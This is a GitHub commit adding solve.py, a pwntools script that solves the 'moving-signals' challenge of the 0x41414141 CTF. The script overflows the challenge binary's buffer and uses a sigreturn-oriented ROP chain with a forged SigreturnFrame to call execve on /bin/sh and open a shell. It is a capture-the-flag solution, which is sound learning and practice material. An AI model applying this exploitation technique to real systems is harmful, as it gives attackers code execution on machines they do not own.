We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
moving-signals@0x41414141CTF
1 parent d9f70d5 commit 98ef3c4Copy full SHA for 98ef3c4
2021/0x41414141CTF/moving-signals/solve.py
@@ -0,0 +1,30 @@
1
+from pwn import *
2
+
3
+file = "./moving-signals"
4
+e = ELF(file)
5
+context(os = 'linux', arch = 'amd64')
6
+context.log_level = 'debug'
7
8
+io = process(file)
9
10
+addr_binsh = 0x0041250
11
+rop_syscall_ret = 0x0041015
12
+rop_rax_ret = 0x0041018
13
14
+frame = SigreturnFrame(arch = 'amd64')
15
+frame.rax = 59 #execv
16
+frame.rdi = addr_binsh
17
+frame.rsi = 0
18
+frame.rdx = 0
19
+frame.rsp = 0x41000
20
+frame.rip = rop_syscall_ret
21
22
+pld = b"A" * 8
23
+pld += p64(rop_rax_ret)
24
+pld += p64(0xf) #sigreturn
25
+pld += p64(rop_syscall_ret)
26
+pld += bytes(frame)
27
28
+io.sendline(pld)
29
30
+io.interactive()
0 commit comments